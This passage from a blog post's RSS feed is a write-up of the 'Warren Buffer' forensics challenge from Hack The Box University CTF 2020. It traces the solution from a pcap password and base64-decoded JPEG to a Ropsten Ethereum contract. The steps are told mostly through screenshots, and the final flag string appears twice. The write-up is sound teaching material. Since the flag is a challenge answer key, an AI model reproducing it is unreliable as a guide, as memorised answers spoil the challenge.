<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="549" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-11.png" alt="" class="wp-image-26" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-11.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-11-300x169.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-11-768x432.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-11-953x536.png 953w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">And we get a link.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="693" height="340" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-12.png" alt="" class="wp-image-27" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-12.png 693w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-12-300x147.png 300w" sizes="auto, (max-width: 693px) 100vw, 693px" /></figure>



<p class="wp-block-paragraph">But we need a password.. So lets better search pcap.</p>



<p class="wp-block-paragraph">On the last http GET request we find a password!</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="142" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-13.png" alt="" class="wp-image-28" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-13.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-13-300x44.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-13-768x112.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">So lets try with this one as the password for ghostbin.</p>



<p class="wp-block-paragraph">BINGO!!</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="65" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-14.png" alt="" class="wp-image-29" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-14.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-14-300x20.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-14-768x51.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-14-953x65.png 953w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">Password was correct and we get a large string that looks like a base64. Lets try to decode from b64!</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="897" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-15.png" alt="" class="wp-image-30" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-15.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-15-300x276.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-15-768x707.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="65" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-16.png" alt="" class="wp-image-31" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-16.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-16-300x20.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-16-768x51.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-16-953x65.png 953w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">Those are the magic bytes of a jpeg file! Lets convert this base64 into an image.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="226" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-17.png" alt="" class="wp-image-32" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-17.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-17-300x70.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-17-768x178.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">And we get this image.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="531" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-18.png" alt="" class="wp-image-33" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-18.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-18-300x163.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-18-768x418.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">We can clearly see a hash!</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="339" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-19.png" alt="" class="wp-image-34" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-19.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-19-300x104.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-19-768x267.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">It is an Ethereum address of Ropsten Testnet Network!</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="377" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-20.png" alt="" class="wp-image-35" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-20.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-20-300x116.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-20-768x297.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">Lets see the last transaction.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="155" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-21.png" alt="" class="wp-image-36" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-21.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-21-300x48.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-21-768x122.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="348" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-22.png" alt="" class="wp-image-37" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-22.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-22-300x107.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-22-768x274.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">We can get the flag by viewing Input data of Contract Creation Transaction.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="637" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-23.png" alt="" class="wp-image-38" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-23.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-23-300x196.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-23-768x502.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph"><strong>HTB{1a4b20ec17323f20909c224614308f09}</strong></p>



<p class="wp-block-paragraph">A more elegant way to find the flag would be to decompile the bytecode of the contract.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="820" height="310" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-24.png" alt="" class="wp-image-39" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-24.png 820w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-24-300x113.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-24-768x290.png 768w" sizes="auto, (max-width: 820px) 100vw, 820px" /></figure>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="910" height="608" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-25.png" alt="" class="wp-image-40" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-25.png 910w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-25-300x200.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-25-768x513.png 768w" sizes="auto, (max-width: 910px) 100vw, 910px" /></figure>



<p class="wp-block-paragraph">We see those three variables!</p>



<p class="wp-block-paragraph">Lets convert them to string from hex..</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="498" height="368" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-26.png" alt="" class="wp-image-41" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-26.png 498w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-26-300x222.png 300w" sizes="auto, (max-width: 498px) 100vw, 498px" /></figure>



<p class="wp-block-paragraph"><strong>HTB{1a4b20ec17323f20909c224614308f09}</strong></p>
<p>The post <a href="https://blog.gerontakis.eu/2023/05/31/warren-buffer-writeup-forensics-hack-the-box-university-ctf-2020-htb-uni-ctf-2020/">Warren Buffer writeup- Forensics &#8211; Hack The Box University CTF 2020 (HTB UNI CTF 2020)</a> appeared first on <a href="https://blog.gerontakis.eu">George Gerontakis</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.gerontakis.eu/2023/05/31/warren-buffer-writeup-forensics-hack-the-box-university-ctf-2020-htb-uni-ctf-2020/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
